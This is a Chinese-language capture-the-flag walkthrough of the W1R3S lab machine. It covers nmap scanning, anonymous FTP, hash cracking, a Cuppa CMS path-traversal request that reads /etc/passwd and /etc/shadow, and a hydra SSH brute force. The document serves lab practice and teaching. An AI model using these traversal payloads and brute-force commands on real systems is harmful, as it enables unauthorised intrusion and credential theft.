环境

  • kali: 192.168.181.129
  • W1R3S 1.0.1: 192.168.181.0/24 …

主机发现

扫描 C 段,搜索存活主机

1
2
3
4
5
6
7
8
# nmap或arp-scan扫描

nmap -sn 192.168.181.0/24
# sn主机发现后不进行端口扫描,扫描本地网络arp请求
# -send-ip发送icmp时间戳请求

arp-scan -l
# arp请求 -l 检测本机所在网络接口的IP地址和子网掩码

20251013

20251013-1

目标主机 192.168.181.132

信息收集

新建文件夹 nmapscan 存放扫描结果(一般在渗透过程中需要随时记录渗透的过程及各种结果)

1
2
nmap --min-rate 1000 -p- 192.168.181.132 -oA nmapscan/ports
# min-rate 每秒发送1000个数据包 -p- 所有默认端口 oA 用nmap支持的三种格式进行输出

20251013-2

1
2
# 数据处理,将扫描结果文件中的端口提取出来
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
1
2
3
# 对应目标端口扫描
nmap -sT -sV -sC -O -p"$ports" 192.168.181.132 -oA nmapscan/detail
# sT tcp全连接扫描 sV 端口服务及版本 sC 用默认脚本 O 操作系统

20251013-3

数据分析

分析可能存在的漏洞及渗透优先级

  • 21 ftp vsftpd 2.0.8 ,d 表示驻留程序可匿名登录,有三个目录,已经列出,可能存在信息泄露,优先查看;
  • 22 ssh 优先级一般较低;
  • 80 http Apache2 服务,title 等信息已列出;
  • 3306 mysql ? 有疑问,不确定;
  • Linux 系统;

首先查看 21 和 3306,重点为 80, 22 最后分析;

(一个攻击向量不要停留过多的时间,20分钟左右)

补充

1
2
3
# udp 端口扫描
nmap -sU --top-ports 20 192.168.181.132 -oA nmapscan/udp
# 扫描常用的20个端口

悬疑状态,开放或已过滤掉(暂存)

20251013-4

1
2
# 默认漏洞扫描脚本扫描
nmap --script=vuln -p21,80,22,3306 192.168.181.132 -oA nmapscan/vuln

20251013-5

(帮助初步制定攻击/渗透策略)

各端口服务分析

21 ftp

ftp 匿名登录

1
2
ftp 192.168.181.132
anonymous

20251013-6

1
2
3
# (Using binary mode to transfer files.)	
# 用二进制模式传输文件,需切换为二进制模式,避免之后下载的文件存在乱码等问题
binary # (输入binary回车即可)
1
2
3
# 查看并下载ftp文件
prompt # 把交互式的提示模式关掉,这样不用每次都去确认
mget *.txt # 批量下载

查看并分析下载的文件

20251013-7

1
hash-identifier		# 识别编码

20251013-8

1
2
3
4
5
6
7
# 创建md5.hash文件,填入原文件中的值01ec2d8fc11c493b25029fb1f47f39ce
# john爆破
john md5.hash # 这里没有爆破出来,不过可通过在线工具进行搜索到结果
echo -n 'This is not a password' | md5sum # 验证

# Base64解码文件中的内容
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d

20251013-9

这里并没有得到什么有用的信息

对于上面文件中的多个用户信息…

区别哪些信息是可能有用的哪些信息是无用,记录下来,每个角色的职责可能对应其不同的权限。(基于角色的分析)

翻转和逆序下面的倒置文字 https://www.upsidedowntext.com/

1
2
ı don't thınk thıs ıs the way to root!
we have a ןot of work to do‘ stop pןayıng around˙˙˙˙

依旧没有什么信息~

3306 mysql

1
2
# 尝试登录,没有密码并且提示本机无法连接,暂是放弃
mysql -h 192.168.181.132 -u root -p

20251013-10

80 http

直接尝试访问,页面没有什么有价值的信息

20251013-11

1
2
# 目录爆破
gobuster dir -u http://192.168.181.132 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

20251013-12

  • 访问 wordpress 目录跳转到了 localhost

尝试修改 host 文件

1
2
192.168.181.129	localhost 		# 模拟本地访问远程主机
192.168.181.129 localhost.com # 测试Host头是否影响服务行为
  • administrator 目录

cuppa cms (可进行安装操作,但最终无法完成安装)(实际渗透时注意评估操作风险,是否可能危害原系统功能)

20251013-13

寻找公开漏洞

1
2
3
4
# 查询已存在公开漏洞
searchsploit cuppa cms
searchsploit cuppa -m 25971 # 下载对应文件
cat 25973.txt

20251013-14

20251013-15

20251013-16

文件中给出了具体的漏洞描述内容,存在文件包含漏洞;

但是直接传入文件中所给的 Payload 未能完全成功读取(访问成功,但是未能正确回显)

20251013-17

可进行代码审计,搜索公开的代码(GitHub 上有该框架的源码,显示参数是通过 POST 进行传递的)

1
2
3
4
# 通过curl并添加编码进行POST参数传递
curl --data-urlencode "urlConfig=../../../../../../../../../etc/passwd" http://192.168.181.132/administrator/alerts/alertConfigField.php

curl --data-urlencode "urlConfig=../../../../../../../../../etc/shadow" http://192.168.181.132/administrator/alerts/alertConfigField.php

成功读取到文件内容

20251013-19

20251013-18

22 ssh

1
2
3
4
5
6
# 创建shadow.hash文件写入shadow内容,利用john爆破
john shadow.hash # 这里我又没爆破出来...

# 根据之前ftp下载文件中泄露的用户信息,构造字典,利用hydra爆破
vim user.list
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.181.132 -t 4

爆破成功

20251013-23

ssh 连接

20251013-20

查看用户权限等信息,提权

20251013-21

找到 flag

20251013-22